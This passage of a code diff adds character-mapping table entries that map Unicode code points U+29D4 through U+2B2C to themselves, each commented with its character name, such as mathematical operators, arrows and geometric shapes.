+ ["\u29D4", "\u29D4"], /* TIMES WITH LEFT HALF BLACK */
+ ["\u29D5", "\u29D5"], /* TIMES WITH RIGHT HALF BLACK */
+ ["\u29D6", "\u29D6"], /* WHITE HOURGLASS */
+ ["\u29D7", "\u29D7"], /* BLACK HOURGLASS */
+ ["\u29D8", "\u29D8"], /* LEFT WIGGLY FENCE */
+ ["\u29D9", "\u29D9"], /* RIGHT WIGGLY FENCE */
+ ["\u29DA", "\u29DA"], /* LEFT DOUBLE WIGGLY FENCE */
+ ["\u29DB", "\u29DB"], /* RIGHT DOUBLE WIGGLY FENCE */
+ ["\u29DC", "\u29DC"], /* INCOMPLETE INFINITY */
+ ["\u29DD", "\u29DD"], /* TIE OVER INFINITY */
+ ["\u29DE", "\u29DE"], /* INFINITY NEGATED WITH VERTICAL BAR */
+ ["\u29DF", "\u29DF"], /* DOUBLE-ENDED MULTIMAP */
+ ["\u29E0", "\u29E0"], /* SQUARE WITH CONTOURED OUTLINE */
+ ["\u29E1", "\u29E1"], /* INCREASES AS */
+ ["\u29E2", "\u29E2"], /* SHUFFLE PRODUCT */
+ ["\u29E3", "\u29E3"], /* EQUALS SIGN AND SLANTED PARALLEL */
+ ["\u29E4", "\u29E4"], /* EQUALS SIGN AND SLANTED PARALLEL WITH TILDE ABOVE */
+ ["\u29E5", "\u29E5"], /* IDENTICAL TO AND SLANTED PARALLEL */
+ ["\u29E6", "\u29E6"], /* GLEICH STARK */
+ ["\u29E7", "\u29E7"], /* THERMODYNAMIC */
+ ["\u29E8", "\u29E8"], /* DOWN-POINTING TRIANGLE WITH LEFT HALF BLACK */
+ ["\u29E9", "\u29E9"], /* DOWN-POINTING TRIANGLE WITH RIGHT HALF BLACK */
+ ["\u29EA", "\u29EA"], /* BLACK DIAMOND WITH DOWN ARROW */
+ ["\u29EB", "\u29EB"], /* BLACK LOZENGE */
+ ["\u29EC", "\u29EC"], /* WHITE CIRCLE WITH DOWN ARROW */
+ ["\u29ED", "\u29ED"], /* BLACK CIRCLE WITH DOWN ARROW */
+ ["\u29EE", "\u29EE"], /* ERROR-BARRED WHITE SQUARE */
+ ["\u29EF", "\u29EF"], /* ERROR-BARRED BLACK SQUARE */
+ ["\u29F0", "\u29F0"], /* ERROR-BARRED WHITE DIAMOND */
+ ["\u29F1", "\u29F1"], /* ERROR-BARRED BLACK DIAMOND */
+ ["\u29F2", "\u29F2"], /* ERROR-BARRED WHITE CIRCLE */
+ ["\u29F3", "\u29F3"], /* ERROR-BARRED BLACK CIRCLE */
+ ["\u29F4", "\u29F4"], /* RULE-DELAYED */
+ ["\u29F5", "\u29F5"], /* REVERSE SOLIDUS OPERATOR */
+ ["\u29F6", "\u29F6"], /* SOLIDUS WITH OVERBAR */
+ ["\u29F7", "\u29F7"], /* REVERSE SOLIDUS WITH HORIZONTAL STROKE */
+ ["\u29F8", "\u29F8"], /* BIG SOLIDUS */
+ ["\u29F9", "\u29F9"], /* BIG REVERSE SOLIDUS */
+ ["\u29FA", "\u29FA"], /* DOUBLE PLUS */
+ ["\u29FB", "\u29FB"], /* TRIPLE PLUS */
+ ["\u29FC", "\u29FC"], /* LEFT-POINTING CURVED ANGLE BRACKET */
+ ["\u29FD", "\u29FD"], /* RIGHT-POINTING CURVED ANGLE BRACKET */
+ ["\u29FE", "\u29FE"], /* TINY */
+ ["\u29FF", "\u29FF"], /* MINY */
+ ["\u2A00", "\u2A00"], /* N-ARY CIRCLED DOT OPERATOR */
+ ["\u2A01", "\u2A01"], /* N-ARY CIRCLED PLUS OPERATOR */
+ ["\u2A02", "\u2A02"], /* N-ARY CIRCLED TIMES OPERATOR */
+ ["\u2A03", "\u2A03"], /* N-ARY UNION OPERATOR WITH DOT */
+ ["\u2A04", "\u2A04"], /* N-ARY UNION OPERATOR WITH PLUS */
+ ["\u2A05", "\u2A05"], /* N-ARY SQUARE INTERSECTION OPERATOR */
+ ["\u2A06", "\u2A06"], /* N-ARY SQUARE UNION OPERATOR */
+ ["\u2A07", "\u2A07"], /* TWO LOGICAL AND OPERATOR */
+ ["\u2A08", "\u2A08"], /* TWO LOGICAL OR OPERATOR */
+ ["\u2A09", "\u2A09"], /* N-ARY TIMES OPERATOR */
+ ["\u2A0A", "\u2A0A"], /* MODULO TWO SUM */
+ ["\u2A0B", "\u2A0B"], /* SUMMATION WITH INTEGRAL */
+ ["\u2A0C", "\u2A0C"], /* QUADRUPLE INTEGRAL OPERATOR */
+ ["\u2A0D", "\u2A0D"], /* FINITE PART INTEGRAL */
+ ["\u2A0E", "\u2A0E"], /* INTEGRAL WITH DOUBLE STROKE */
+ ["\u2A0F", "\u2A0F"], /* INTEGRAL AVERAGE WITH SLASH */
+ ["\u2A10", "\u2A10"], /* CIRCULATION FUNCTION */
+ ["\u2A11", "\u2A11"], /* ANTICLOCKWISE INTEGRATION */
+ ["\u2A12", "\u2A12"], /* LINE INTEGRATION WITH RECTANGULAR PATH AROUND POLE */
+ ["\u2A13", "\u2A13"], /* LINE INTEGRATION WITH SEMICIRCULAR PATH AROUND POLE */
+ ["\u2A14", "\u2A14"], /* LINE INTEGRATION NOT INCLUDING THE POLE */
+ ["\u2A15", "\u2A15"], /* INTEGRAL AROUND A POINT OPERATOR */
+ ["\u2A16", "\u2A16"], /* QUATERNION INTEGRAL OPERATOR */
+ ["\u2A17", "\u2A17"], /* INTEGRAL WITH LEFTWARDS ARROW WITH HOOK */
+ ["\u2A18", "\u2A18"], /* INTEGRAL WITH TIMES SIGN */
+ ["\u2A19", "\u2A19"], /* INTEGRAL WITH INTERSECTION */
+ ["\u2A1A", "\u2A1A"], /* INTEGRAL WITH UNION */
+ ["\u2A1B", "\u2A1B"], /* INTEGRAL WITH OVERBAR */
+ ["\u2A1C", "\u2A1C"], /* INTEGRAL WITH UNDERBAR */
+ ["\u2A1D", "\u2A1D"], /* JOIN */
+ ["\u2A1E", "\u2A1E"], /* LARGE LEFT TRIANGLE OPERATOR */
+ ["\u2A1F", "\u2A1F"], /* Z NOTATION SCHEMA COMPOSITION */
+ ["\u2A20", "\u2A20"], /* Z NOTATION SCHEMA PIPING */
+ ["\u2A21", "\u2A21"], /* Z NOTATION SCHEMA PROJECTION */
+ ["\u2A22", "\u2A22"], /* PLUS SIGN WITH SMALL CIRCLE ABOVE */
+ ["\u2A23", "\u2A23"], /* PLUS SIGN WITH CIRCUMFLEX ACCENT ABOVE */
+ ["\u2A24", "\u2A24"], /* PLUS SIGN WITH TILDE ABOVE */
+ ["\u2A25", "\u2A25"], /* PLUS SIGN WITH DOT BELOW */
+ ["\u2A26", "\u2A26"], /* PLUS SIGN WITH TILDE BELOW */
+ ["\u2A27", "\u2A27"], /* PLUS SIGN WITH SUBSCRIPT TWO */
+ ["\u2A28", "\u2A28"], /* PLUS SIGN WITH BLACK TRIANGLE */
+ ["\u2A29", "\u2A29"], /* MINUS SIGN WITH COMMA ABOVE */
+ ["\u2A2A", "\u2A2A"], /* MINUS SIGN WITH DOT BELOW */
+ ["\u2A2B", "\u2A2B"], /* MINUS SIGN WITH FALLING DOTS */
+ ["\u2A2C", "\u2A2C"], /* MINUS SIGN WITH RISING DOTS */
+ ["\u2A2D", "\u2A2D"], /* PLUS SIGN IN LEFT HALF CIRCLE */
+ ["\u2A2E", "\u2A2E"], /* PLUS SIGN IN RIGHT HALF CIRCLE */
+ ["\u2A2F", "\u2A2F"], /* VECTOR OR CROSS PRODUCT */
+ ["\u2A30", "\u2A30"], /* MULTIPLICATION SIGN WITH DOT ABOVE */
+ ["\u2A31", "\u2A31"], /* MULTIPLICATION SIGN WITH UNDERBAR */
+ ["\u2A32", "\u2A32"], /* SEMIDIRECT PRODUCT WITH BOTTOM CLOSED */
+ ["\u2A33", "\u2A33"], /* SMASH PRODUCT */
+ ["\u2A34", "\u2A34"], /* MULTIPLICATION SIGN IN LEFT HALF CIRCLE */
+ ["\u2A35", "\u2A35"], /* MULTIPLICATION SIGN IN RIGHT HALF CIRCLE */
+ ["\u2A36", "\u2A36"], /* CIRCLED MULTIPLICATION SIGN WITH CIRCUMFLEX ACCENT */
+ ["\u2A37", "\u2A37"], /* MULTIPLICATION SIGN IN DOUBLE CIRCLE */
+ ["\u2A38", "\u2A38"], /* CIRCLED DIVISION SIGN */
+ ["\u2A39", "\u2A39"], /* PLUS SIGN IN TRIANGLE */
+ ["\u2A3A", "\u2A3A"], /* MINUS SIGN IN TRIANGLE */
+ ["\u2A3B", "\u2A3B"], /* MULTIPLICATION SIGN IN TRIANGLE */
+ ["\u2A3C", "\u2A3C"], /* INTERIOR PRODUCT */
+ ["\u2A3D", "\u2A3D"], /* RIGHTHAND INTERIOR PRODUCT */
+ ["\u2A3E", "\u2A3E"], /* Z NOTATION RELATIONAL COMPOSITION */
+ ["\u2A3F", "\u2A3F"], /* AMALGAMATION OR COPRODUCT */
+ ["\u2A40", "\u2A40"], /* INTERSECTION WITH DOT */
+ ["\u2A41", "\u2A41"], /* UNION WITH MINUS SIGN */
+ ["\u2A42", "\u2A42"], /* UNION WITH OVERBAR */
+ ["\u2A43", "\u2A43"], /* INTERSECTION WITH OVERBAR */
+ ["\u2A44", "\u2A44"], /* INTERSECTION WITH LOGICAL AND */
+ ["\u2A45", "\u2A45"], /* UNION WITH LOGICAL OR */
+ ["\u2A46", "\u2A46"], /* UNION ABOVE INTERSECTION */
+ ["\u2A47", "\u2A47"], /* INTERSECTION ABOVE UNION */
+ ["\u2A48", "\u2A48"], /* UNION ABOVE BAR ABOVE INTERSECTION */
+ ["\u2A49", "\u2A49"], /* INTERSECTION ABOVE BAR ABOVE UNION */
+ ["\u2A4A", "\u2A4A"], /* UNION BESIDE AND JOINED WITH UNION */
+ ["\u2A4B", "\u2A4B"], /* INTERSECTION BESIDE AND JOINED WITH INTERSECTION */
+ ["\u2A4C", "\u2A4C"], /* CLOSED UNION WITH SERIFS */
+ ["\u2A4D", "\u2A4D"], /* CLOSED INTERSECTION WITH SERIFS */
+ ["\u2A4E", "\u2A4E"], /* DOUBLE SQUARE INTERSECTION */
+ ["\u2A4F", "\u2A4F"], /* DOUBLE SQUARE UNION */
+ ["\u2A50", "\u2A50"], /* CLOSED UNION WITH SERIFS AND SMASH PRODUCT */
+ ["\u2A51", "\u2A51"], /* LOGICAL AND WITH DOT ABOVE */
+ ["\u2A52", "\u2A52"], /* LOGICAL OR WITH DOT ABOVE */
+ ["\u2A53", "\u2A53"], /* DOUBLE LOGICAL AND */
+ ["\u2A54", "\u2A54"], /* DOUBLE LOGICAL OR */
+ ["\u2A55", "\u2A55"], /* TWO INTERSECTING LOGICAL AND */
+ ["\u2A56", "\u2A56"], /* TWO INTERSECTING LOGICAL OR */
+ ["\u2A57", "\u2A57"], /* SLOPING LARGE OR */
+ ["\u2A58", "\u2A58"], /* SLOPING LARGE AND */
+ ["\u2A59", "\u2A59"], /* LOGICAL OR OVERLAPPING LOGICAL AND */
+ ["\u2A5A", "\u2A5A"], /* LOGICAL AND WITH MIDDLE STEM */
+ ["\u2A5B", "\u2A5B"], /* LOGICAL OR WITH MIDDLE STEM */
+ ["\u2A5C", "\u2A5C"], /* LOGICAL AND WITH HORIZONTAL DASH */
+ ["\u2A5D", "\u2A5D"], /* LOGICAL OR WITH HORIZONTAL DASH */
+ ["\u2A5E", "\u2A5E"], /* LOGICAL AND WITH DOUBLE OVERBAR */
+ ["\u2A5F", "\u2A5F"], /* LOGICAL AND WITH UNDERBAR */
+ ["\u2A60", "\u2A60"], /* LOGICAL AND WITH DOUBLE UNDERBAR */
+ ["\u2A61", "\u2A61"], /* SMALL VEE WITH UNDERBAR */
+ ["\u2A62", "\u2A62"], /* LOGICAL OR WITH DOUBLE OVERBAR */
+ ["\u2A63", "\u2A63"], /* LOGICAL OR WITH DOUBLE UNDERBAR */
+ ["\u2A64", "\u2A64"], /* Z NOTATION DOMAIN ANTIRESTRICTION */
+ ["\u2A65", "\u2A65"], /* Z NOTATION RANGE ANTIRESTRICTION */
+ ["\u2A66", "\u2A66"], /* EQUALS SIGN WITH DOT BELOW */
+ ["\u2A67", "\u2A67"], /* IDENTICAL WITH DOT ABOVE */
+ ["\u2A68", "\u2A68"], /* TRIPLE HORIZONTAL BAR WITH DOUBLE VERTICAL STROKE */
+ ["\u2A69", "\u2A69"], /* TRIPLE HORIZONTAL BAR WITH TRIPLE VERTICAL STROKE */
+ ["\u2A6A", "\u2A6A"], /* TILDE OPERATOR WITH DOT ABOVE */
+ ["\u2A6B", "\u2A6B"], /* TILDE OPERATOR WITH RISING DOTS */
+ ["\u2A6C", "\u2A6C"], /* SIMILAR MINUS SIMILAR */
+ ["\u2A6D", "\u2A6D"], /* CONGRUENT WITH DOT ABOVE */
+ ["\u2A6E", "\u2A6E"], /* EQUALS WITH ASTERISK */
+ ["\u2A6F", "\u2A6F"], /* ALMOST EQUAL TO WITH CIRCUMFLEX ACCENT */
+ ["\u2A70", "\u2A70"], /* APPROXIMATELY EQUAL OR EQUAL TO */
+ ["\u2A71", "\u2A71"], /* EQUALS SIGN ABOVE PLUS SIGN */
+ ["\u2A72", "\u2A72"], /* PLUS SIGN ABOVE EQUALS SIGN */
+ ["\u2A73", "\u2A73"], /* EQUALS SIGN ABOVE TILDE OPERATOR */
+ ["\u2A74", "\u2A74"], /* DOUBLE COLON EQUAL */
+ ["\u2A75", "\u2A75"], /* TWO CONSECUTIVE EQUALS SIGNS */
+ ["\u2A76", "\u2A76"], /* THREE CONSECUTIVE EQUALS SIGNS */
+ ["\u2A77", "\u2A77"], /* EQUALS SIGN WITH TWO DOTS ABOVE AND TWO DOTS BELOW */
+ ["\u2A78", "\u2A78"], /* EQUIVALENT WITH FOUR DOTS ABOVE */
+ ["\u2A79", "\u2A79"], /* LESS-THAN WITH CIRCLE INSIDE */
+ ["\u2A7A", "\u2A7A"], /* GREATER-THAN WITH CIRCLE INSIDE */
+ ["\u2A7B", "\u2A7B"], /* LESS-THAN WITH QUESTION MARK ABOVE */
+ ["\u2A7C", "\u2A7C"], /* GREATER-THAN WITH QUESTION MARK ABOVE */
+ ["\u2A7D", "\u2A7D"], /* LESS-THAN OR SLANTED EQUAL TO */
+ ["\u2A7E", "\u2A7E"], /* GREATER-THAN OR SLANTED EQUAL TO */
+ ["\u2A7F", "\u2A7F"], /* LESS-THAN OR SLANTED EQUAL TO WITH DOT INSIDE */
+ ["\u2A80", "\u2A80"], /* GREATER-THAN OR SLANTED EQUAL TO WITH DOT INSIDE */
+ ["\u2A81", "\u2A81"], /* LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE */
+ ["\u2A82", "\u2A82"], /* GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE */
+ ["\u2A83", "\u2A83"], /* LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE RIGHT */
+ ["\u2A84", "\u2A84"], /* GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE LEFT */
+ ["\u2A85", "\u2A85"], /* LESS-THAN OR APPROXIMATE */
+ ["\u2A86", "\u2A86"], /* GREATER-THAN OR APPROXIMATE */
+ ["\u2A87", "\u2A87"], /* LESS-THAN AND SINGLE-LINE NOT EQUAL TO */
+ ["\u2A88", "\u2A88"], /* GREATER-THAN AND SINGLE-LINE NOT EQUAL TO */
+ ["\u2A89", "\u2A89"], /* LESS-THAN AND NOT APPROXIMATE */
+ ["\u2A8A", "\u2A8A"], /* GREATER-THAN AND NOT APPROXIMATE */
+ ["\u2A8B", "\u2A8B"], /* LESS-THAN ABOVE DOUBLE-LINE EQUAL ABOVE GREATER-THAN */
+ ["\u2A8C", "\u2A8C"], /* GREATER-THAN ABOVE DOUBLE-LINE EQUAL ABOVE LESS-THAN */
+ ["\u2A8D", "\u2A8D"], /* LESS-THAN ABOVE SIMILAR OR EQUAL */
+ ["\u2A8E", "\u2A8E"], /* GREATER-THAN ABOVE SIMILAR OR EQUAL */
+ ["\u2A8F", "\u2A8F"], /* LESS-THAN ABOVE SIMILAR ABOVE GREATER-THAN */
+ ["\u2A90", "\u2A90"], /* GREATER-THAN ABOVE SIMILAR ABOVE LESS-THAN */
+ ["\u2A91", "\u2A91"], /* LESS-THAN ABOVE GREATER-THAN ABOVE DOUBLE-LINE EQUAL */
+ ["\u2A92", "\u2A92"], /* GREATER-THAN ABOVE LESS-THAN ABOVE DOUBLE-LINE EQUAL */
+ ["\u2A93", "\u2A93"], /* LESS-THAN ABOVE SLANTED EQUAL ABOVE GREATER-THAN ABOVE SLANTED EQUAL */
+ ["\u2A94", "\u2A94"], /* GREATER-THAN ABOVE SLANTED EQUAL ABOVE LESS-THAN ABOVE SLANTED EQUAL */
+ ["\u2A95", "\u2A95"], /* SLANTED EQUAL TO OR LESS-THAN */
+ ["\u2A96", "\u2A96"], /* SLANTED EQUAL TO OR GREATER-THAN */
+ ["\u2A97", "\u2A97"], /* SLANTED EQUAL TO OR LESS-THAN WITH DOT INSIDE */
+ ["\u2A98", "\u2A98"], /* SLANTED EQUAL TO OR GREATER-THAN WITH DOT INSIDE */
+ ["\u2A99", "\u2A99"], /* DOUBLE-LINE EQUAL TO OR LESS-THAN */
+ ["\u2A9A", "\u2A9A"], /* DOUBLE-LINE EQUAL TO OR GREATER-THAN */
+ ["\u2A9B", "\u2A9B"], /* DOUBLE-LINE SLANTED EQUAL TO OR LESS-THAN */
+ ["\u2A9C", "\u2A9C"], /* DOUBLE-LINE SLANTED EQUAL TO OR GREATER-THAN */
+ ["\u2A9D", "\u2A9D"], /* SIMILAR OR LESS-THAN */
+ ["\u2A9E", "\u2A9E"], /* SIMILAR OR GREATER-THAN */
+ ["\u2A9F", "\u2A9F"], /* SIMILAR ABOVE LESS-THAN ABOVE EQUALS SIGN */
+ ["\u2AA0", "\u2AA0"], /* SIMILAR ABOVE GREATER-THAN ABOVE EQUALS SIGN */
+ ["\u2AA1", "\u2AA1"], /* DOUBLE NESTED LESS-THAN */
+ ["\u2AA2", "\u2AA2"], /* DOUBLE NESTED GREATER-THAN */
+ ["\u2AA3", "\u2AA3"], /* DOUBLE NESTED LESS-THAN WITH UNDERBAR */
+ ["\u2AA4", "\u2AA4"], /* GREATER-THAN OVERLAPPING LESS-THAN */
+ ["\u2AA5", "\u2AA5"], /* GREATER-THAN BESIDE LESS-THAN */
+ ["\u2AA6", "\u2AA6"], /* LESS-THAN CLOSED BY CURVE */
+ ["\u2AA7", "\u2AA7"], /* GREATER-THAN CLOSED BY CURVE */
+ ["\u2AA8", "\u2AA8"], /* LESS-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL */
+ ["\u2AA9", "\u2AA9"], /* GREATER-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL */
+ ["\u2AAA", "\u2AAA"], /* SMALLER THAN */
+ ["\u2AAB", "\u2AAB"], /* LARGER THAN */
+ ["\u2AAC", "\u2AAC"], /* SMALLER THAN OR EQUAL TO */
+ ["\u2AAD", "\u2AAD"], /* LARGER THAN OR EQUAL TO */
+ ["\u2AAE", "\u2AAE"], /* EQUALS SIGN WITH BUMPY ABOVE */
+ ["\u2AAF", "\u2AAF"], /* PRECEDES ABOVE SINGLE-LINE EQUALS SIGN */
+ ["\u2AB0", "\u2AB0"], /* SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN */
+ ["\u2AB1", "\u2AB1"], /* PRECEDES ABOVE SINGLE-LINE NOT EQUAL TO */
+ ["\u2AB2", "\u2AB2"], /* SUCCEEDS ABOVE SINGLE-LINE NOT EQUAL TO */
+ ["\u2AB3", "\u2AB3"], /* PRECEDES ABOVE EQUALS SIGN */
+ ["\u2AB4", "\u2AB4"], /* SUCCEEDS ABOVE EQUALS SIGN */
+ ["\u2AB5", "\u2AB5"], /* PRECEDES ABOVE NOT EQUAL TO */
+ ["\u2AB6", "\u2AB6"], /* SUCCEEDS ABOVE NOT EQUAL TO */
+ ["\u2AB7", "\u2AB7"], /* PRECEDES ABOVE ALMOST EQUAL TO */
+ ["\u2AB8", "\u2AB8"], /* SUCCEEDS ABOVE ALMOST EQUAL TO */
+ ["\u2AB9", "\u2AB9"], /* PRECEDES ABOVE NOT ALMOST EQUAL TO */
+ ["\u2ABA", "\u2ABA"], /* SUCCEEDS ABOVE NOT ALMOST EQUAL TO */
+ ["\u2ABB", "\u2ABB"], /* DOUBLE PRECEDES */
+ ["\u2ABC", "\u2ABC"], /* DOUBLE SUCCEEDS */
+ ["\u2ABD", "\u2ABD"], /* SUBSET WITH DOT */
+ ["\u2ABE", "\u2ABE"], /* SUPERSET WITH DOT */
+ ["\u2ABF", "\u2ABF"], /* SUBSET WITH PLUS SIGN BELOW */
+ ["\u2AC0", "\u2AC0"], /* SUPERSET WITH PLUS SIGN BELOW */
+ ["\u2AC1", "\u2AC1"], /* SUBSET WITH MULTIPLICATION SIGN BELOW */
+ ["\u2AC2", "\u2AC2"], /* SUPERSET WITH MULTIPLICATION SIGN BELOW */
+ ["\u2AC3", "\u2AC3"], /* SUBSET OF OR EQUAL TO WITH DOT ABOVE */
+ ["\u2AC4", "\u2AC4"], /* SUPERSET OF OR EQUAL TO WITH DOT ABOVE */
+ ["\u2AC5", "\u2AC5"], /* SUBSET OF ABOVE EQUALS SIGN */
+ ["\u2AC6", "\u2AC6"], /* SUPERSET OF ABOVE EQUALS SIGN */
+ ["\u2AC7", "\u2AC7"], /* SUBSET OF ABOVE TILDE OPERATOR */
+ ["\u2AC8", "\u2AC8"], /* SUPERSET OF ABOVE TILDE OPERATOR */
+ ["\u2AC9", "\u2AC9"], /* SUBSET OF ABOVE ALMOST EQUAL TO */
+ ["\u2ACA", "\u2ACA"], /* SUPERSET OF ABOVE ALMOST EQUAL TO */
+ ["\u2ACB", "\u2ACB"], /* SUBSET OF ABOVE NOT EQUAL TO */
+ ["\u2ACC", "\u2ACC"], /* SUPERSET OF ABOVE NOT EQUAL TO */
+ ["\u2ACD", "\u2ACD"], /* SQUARE LEFT OPEN BOX OPERATOR */
+ ["\u2ACE", "\u2ACE"], /* SQUARE RIGHT OPEN BOX OPERATOR */
+ ["\u2ACF", "\u2ACF"], /* CLOSED SUBSET */
+ ["\u2AD0", "\u2AD0"], /* CLOSED SUPERSET */
+ ["\u2AD1", "\u2AD1"], /* CLOSED SUBSET OR EQUAL TO */
+ ["\u2AD2", "\u2AD2"], /* CLOSED SUPERSET OR EQUAL TO */
+ ["\u2AD3", "\u2AD3"], /* SUBSET ABOVE SUPERSET */
+ ["\u2AD4", "\u2AD4"], /* SUPERSET ABOVE SUBSET */
+ ["\u2AD5", "\u2AD5"], /* SUBSET ABOVE SUBSET */
+ ["\u2AD6", "\u2AD6"], /* SUPERSET ABOVE SUPERSET */
+ ["\u2AD7", "\u2AD7"], /* SUPERSET BESIDE SUBSET */
+ ["\u2AD8", "\u2AD8"], /* SUPERSET BESIDE AND JOINED BY DASH WITH SUBSET */
+ ["\u2AD9", "\u2AD9"], /* ELEMENT OF OPENING DOWNWARDS */
+ ["\u2ADA", "\u2ADA"], /* PITCHFORK WITH TEE TOP */
+ ["\u2ADB", "\u2ADB"], /* TRANSVERSAL INTERSECTION */
+ ["\u2ADC", "\u2ADC"], /* FORKING */
+ ["\u2ADD", "\u2ADD"], /* NONFORKING */
+ ["\u2ADE", "\u2ADE"], /* SHORT LEFT TACK */
+ ["\u2ADF", "\u2ADF"], /* SHORT DOWN TACK */
+ ["\u2AE0", "\u2AE0"], /* SHORT UP TACK */
+ ["\u2AE1", "\u2AE1"], /* PERPENDICULAR WITH S */
+ ["\u2AE2", "\u2AE2"], /* VERTICAL BAR TRIPLE RIGHT TURNSTILE */
+ ["\u2AE3", "\u2AE3"], /* DOUBLE VERTICAL BAR LEFT TURNSTILE */
+ ["\u2AE4", "\u2AE4"], /* VERTICAL BAR DOUBLE LEFT TURNSTILE */
+ ["\u2AE5", "\u2AE5"], /* DOUBLE VERTICAL BAR DOUBLE LEFT TURNSTILE */
+ ["\u2AE6", "\u2AE6"], /* LONG DASH FROM LEFT MEMBER OF DOUBLE VERTICAL */
+ ["\u2AE7", "\u2AE7"], /* SHORT DOWN TACK WITH OVERBAR */
+ ["\u2AE8", "\u2AE8"], /* SHORT UP TACK WITH UNDERBAR */
+ ["\u2AE9", "\u2AE9"], /* SHORT UP TACK ABOVE SHORT DOWN TACK */
+ ["\u2AEA", "\u2AEA"], /* DOUBLE DOWN TACK */
+ ["\u2AEB", "\u2AEB"], /* DOUBLE UP TACK */
+ ["\u2AEC", "\u2AEC"], /* DOUBLE STROKE NOT SIGN */
+ ["\u2AED", "\u2AED"], /* REVERSED DOUBLE STROKE NOT SIGN */
+ ["\u2AEE", "\u2AEE"], /* DOES NOT DIVIDE WITH REVERSED NEGATION SLASH */
+ ["\u2AEF", "\u2AEF"], /* VERTICAL LINE WITH CIRCLE ABOVE */
+ ["\u2AF0", "\u2AF0"], /* VERTICAL LINE WITH CIRCLE BELOW */
+ ["\u2AF1", "\u2AF1"], /* DOWN TACK WITH CIRCLE BELOW */
+ ["\u2AF2", "\u2AF2"], /* PARALLEL WITH HORIZONTAL STROKE */
+ ["\u2AF3", "\u2AF3"], /* PARALLEL WITH TILDE OPERATOR */
+ ["\u2AF4", "\u2AF4"], /* TRIPLE VERTICAL BAR BINARY RELATION */
+ ["\u2AF5", "\u2AF5"], /* TRIPLE VERTICAL BAR WITH HORIZONTAL STROKE */
+ ["\u2AF6", "\u2AF6"], /* TRIPLE COLON OPERATOR */
+ ["\u2AF7", "\u2AF7"], /* TRIPLE NESTED LESS-THAN */
+ ["\u2AF8", "\u2AF8"], /* TRIPLE NESTED GREATER-THAN */
+ ["\u2AF9", "\u2AF9"], /* DOUBLE-LINE SLANTED LESS-THAN OR EQUAL TO */
+ ["\u2AFA", "\u2AFA"], /* DOUBLE-LINE SLANTED GREATER-THAN OR EQUAL TO */
+ ["\u2AFB", "\u2AFB"], /* TRIPLE SOLIDUS BINARY RELATION */
+ ["\u2AFC", "\u2AFC"], /* LARGE TRIPLE VERTICAL BAR OPERATOR */
+ ["\u2AFD", "\u2AFD"], /* DOUBLE SOLIDUS OPERATOR */
+ ["\u2AFE", "\u2AFE"], /* WHITE VERTICAL BAR */
+ ["\u2AFF", "\u2AFF"], /* N-ARY WHITE VERTICAL BAR */
+ ["\u2B00", "\u2B00"], /* NORTH EAST WHITE ARROW */
+ ["\u2B01", "\u2B01"], /* NORTH WEST WHITE ARROW */
+ ["\u2B02", "\u2B02"], /* SOUTH EAST WHITE ARROW */
+ ["\u2B03", "\u2B03"], /* SOUTH WEST WHITE ARROW */
+ ["\u2B04", "\u2B04"], /* LEFT RIGHT WHITE ARROW */
+ ["\u2B05", "\u2B05"], /* LEFTWARDS BLACK ARROW */
+ ["\u2B06", "\u2B06"], /* UPWARDS BLACK ARROW */
+ ["\u2B07", "\u2B07"], /* DOWNWARDS BLACK ARROW */
+ ["\u2B08", "\u2B08"], /* NORTH EAST BLACK ARROW */
+ ["\u2B09", "\u2B09"], /* NORTH WEST BLACK ARROW */
+ ["\u2B0A", "\u2B0A"], /* SOUTH EAST BLACK ARROW */
+ ["\u2B0B", "\u2B0B"], /* SOUTH WEST BLACK ARROW */
+ ["\u2B0C", "\u2B0C"], /* LEFT RIGHT BLACK ARROW */
+ ["\u2B0D", "\u2B0D"], /* UP DOWN BLACK ARROW */
+ ["\u2B0E", "\u2B0E"], /* RIGHTWARDS ARROW WITH TIP DOWNWARDS */
+ ["\u2B0F", "\u2B0F"], /* RIGHTWARDS ARROW WITH TIP UPWARDS */
+ ["\u2B10", "\u2B10"], /* LEFTWARDS ARROW WITH TIP DOWNWARDS */
+ ["\u2B11", "\u2B11"], /* LEFTWARDS ARROW WITH TIP UPWARDS */
+ ["\u2B12", "\u2B12"], /* SQUARE WITH TOP HALF BLACK */
+ ["\u2B13", "\u2B13"], /* SQUARE WITH BOTTOM HALF BLACK */
+ ["\u2B14", "\u2B14"], /* SQUARE WITH UPPER RIGHT DIAGONAL HALF BLACK */
+ ["\u2B15", "\u2B15"], /* SQUARE WITH LOWER LEFT DIAGONAL HALF BLACK */
+ ["\u2B16", "\u2B16"], /* DIAMOND WITH LEFT HALF BLACK */
+ ["\u2B17", "\u2B17"], /* DIAMOND WITH RIGHT HALF BLACK */
+ ["\u2B18", "\u2B18"], /* DIAMOND WITH TOP HALF BLACK */
+ ["\u2B19", "\u2B19"], /* DIAMOND WITH BOTTOM HALF BLACK */
+ ["\u2B1A", "\u2B1A"], /* DOTTED SQUARE */
+ ["\u2B1B", "\u2B1B"], /* BLACK LARGE SQUARE */
+ ["\u2B1C", "\u2B1C"], /* WHITE LARGE SQUARE */
+ ["\u2B1D", "\u2B1D"], /* BLACK VERY SMALL SQUARE */
+ ["\u2B1E", "\u2B1E"], /* WHITE VERY SMALL SQUARE */
+ ["\u2B1F", "\u2B1F"], /* BLACK PENTAGON */
+ ["\u2B20", "\u2B20"], /* WHITE PENTAGON */
+ ["\u2B21", "\u2B21"], /* WHITE HEXAGON */
+ ["\u2B22", "\u2B22"], /* BLACK HEXAGON */
+ ["\u2B23", "\u2B23"], /* HORIZONTAL BLACK HEXAGON */
+ ["\u2B24", "\u2B24"], /* BLACK LARGE CIRCLE */
+ ["\u2B25", "\u2B25"], /* BLACK MEDIUM DIAMOND */
+ ["\u2B26", "\u2B26"], /* WHITE MEDIUM DIAMOND */
+ ["\u2B27", "\u2B27"], /* BLACK MEDIUM LOZENGE */
+ ["\u2B28", "\u2B28"], /* WHITE MEDIUM LOZENGE */
+ ["\u2B29", "\u2B29"], /* BLACK SMALL DIAMOND */
+ ["\u2B2A", "\u2B2A"], /* BLACK SMALL LOZENGE */
+ ["\u2B2B", "\u2B2B"], /* WHITE SMALL LOZENGE */
+ ["\u2B2C", "\u2B2C"], /* BLACK HORIZONTAL ELLIPSE */
